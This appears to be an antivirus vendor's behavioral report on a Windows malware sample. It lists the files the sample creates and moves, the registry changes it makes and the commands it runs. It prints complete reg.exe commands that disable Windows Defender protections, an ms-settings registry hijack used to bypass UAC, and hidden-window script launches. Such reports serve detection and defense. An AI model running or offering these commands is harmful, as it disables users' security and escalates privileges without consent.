Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\SOFTWARE\Classes\ms-settings\shell\open\command] '' = '%WINDIR%\SysWow64\cmd.exe /c REG ADD HKLM\software\microsoft\windows\currentversion\policies\system /v ConsentPromptBehaviorAdmin ...
Modifies file system
Creates the following files
- %TEMP%\is-4vm4t.tmp\<File name>.tmp
- %PROGRAMDATA%\extracted\file_1.zip
- %PROGRAMDATA%\extracted\file_2.zip
- %PROGRAMDATA%\extracted\file_3.zip
- %PROGRAMDATA%\extracted\antiav.data
- %PROGRAMDATA%\extracted\file_4.zip
- %PROGRAMDATA%\is-icql8.tmp
- %PROGRAMDATA%\is-id517.tmp
- %PROGRAMDATA%\extracted\putty.exe
- %PROGRAMDATA%\is-61vqr.tmp
- %PROGRAMDATA%\is-tl1lj.tmp
- %PROGRAMDATA%\is-pv4l3.tmp
- %PROGRAMDATA%\is-2lc6k.tmp
- %PROGRAMDATA%\is-7cep6.tmp
- %PROGRAMDATA%\is-fbdtb.tmp
- %ProgramFiles(x86)%\windowspowershell\configuration\is-tm1k1.tmp
- %TEMP%\is-pl1hd.tmp\_isetup\_setup64.tmp
- %PROGRAMDATA%\is-qs8he.tmp
- nul
Sets the 'hidden' attribute to the following files
- %PROGRAMDATA%\putty.exe
Deletes the following files
- %ProgramFiles(x86)%\windowspowershell\configuration\test.exe
- %TEMP%\is-pl1hd.tmp\_isetup\_setup64.tmp
- %TEMP%\is-4vm4t.tmp\<File name>.tmp
- %PROGRAMDATA%\extracted\file_1.zip
- %PROGRAMDATA%\extracted\file_2.zip
- %PROGRAMDATA%\extracted\file_3.zip
- %PROGRAMDATA%\extracted\file_4.zip
Moves the following files
- from %ProgramFiles(x86)%\windowspowershell\configuration\is-tm1k1.tmp to %ProgramFiles(x86)%\windowspowershell\configuration\test.exe
- from %PROGRAMDATA%\is-fbdtb.tmp to %PROGRAMDATA%\7z.exe
- from %PROGRAMDATA%\is-7cep6.tmp to %PROGRAMDATA%\7z.dll
- from %PROGRAMDATA%\is-2lc6k.tmp to %PROGRAMDATA%\file.bin
- from %PROGRAMDATA%\is-pv4l3.tmp to %PROGRAMDATA%\main.bat
- from %PROGRAMDATA%\is-tl1lj.tmp to %PROGRAMDATA%\wu10.uac.bat
- from %PROGRAMDATA%\is-qs8he.tmp to %PROGRAMDATA%\wu10.wdcloud.bat
- from %PROGRAMDATA%\is-61vqr.tmp to %PROGRAMDATA%\wu10.delete.bat
- from %PROGRAMDATA%\is-id517.tmp to %PROGRAMDATA%\wu10.run.vbs
- from %PROGRAMDATA%\is-icql8.tmp to %PROGRAMDATA%\wu10.2run.vbs
- from %PROGRAMDATA%\file.bin to %PROGRAMDATA%\file.zip
- from %PROGRAMDATA%\extracted\putty.exe to %PROGRAMDATA%\putty.exe
Substitutes the following files
- %PROGRAMDATA%\file.bin
Miscellaneous
Creates and executes the following
- '%TEMP%\is-4vm4t.tmp\<File name>.tmp' /SL5="$8021A,4273709,721408,<Full path to file>"
- '%ProgramFiles(x86)%\windowspowershell\configuration\test.exe'
- '%WINDIR%\syswow64\wscript.exe' "%PROGRAMDATA%\wu10.run.vbs"
- '%WINDIR%\syswow64\wscript.exe' "%PROGRAMDATA%\wu10.2run.vbs"
- '%PROGRAMDATA%\7z.exe' e file.zip -p___________2888pwd1855pwd15320___________ -oextracted
- '%PROGRAMDATA%\7z.exe' e extracted/file_4.zip -oextracted
- '%PROGRAMDATA%\7z.exe' e extracted/file_3.zip -oextracted
- '%PROGRAMDATA%\7z.exe' e extracted/file_2.zip -oextracted
- '%PROGRAMDATA%\7z.exe' e extracted/file_1.zip -oextracted
- '%PROGRAMDATA%\putty.exe'
- '%WINDIR%\syswow64\cmd.exe' /c ""%PROGRAMDATA%\wu10.uac.bat" "' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%PROGRAMDATA%\wu10.wdcloud.bat" "' (with hidden window)
- '%WINDIR%\syswow64\wscript.exe' "%PROGRAMDATA%\wu10.run.vbs"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%PROGRAMDATA%\main.bat" "' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%PROGRAMDATA%\wu10.delete.bat" "' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%PROGRAMDATA%\wu10.uac.bat" "
- '%WINDIR%\syswow64\attrib.exe' +H "putty.exe"
- '%WINDIR%\syswow64\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\ping.exe' -n 60 127.1
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
- '%WINDIR%\syswow64\mode.com' 65,10
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\cmd.exe' /c ""%PROGRAMDATA%\wu10.delete.bat" "
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
- '%WINDIR%\syswow64\cmd.exe' /c ""%PROGRAMDATA%\main.bat" "
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' ADD "hkcu\software\classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d " " /f
- '%WINDIR%\syswow64\reg.exe' delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKCU\SOFTWARE\Classes\ms-settings\shell\open\command" /t REG_SZ /d "<SYSTEM32>\cmd.exe /c REG ADD HKLM\software\microsoft\windows\currentversion\policies\system /v ConsentPromptBehaviorAdm...
- '%WINDIR%\syswow64\cmd.exe' /c ""%PROGRAMDATA%\wu10.wdcloud.bat" "
- '%WINDIR%\syswow64\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
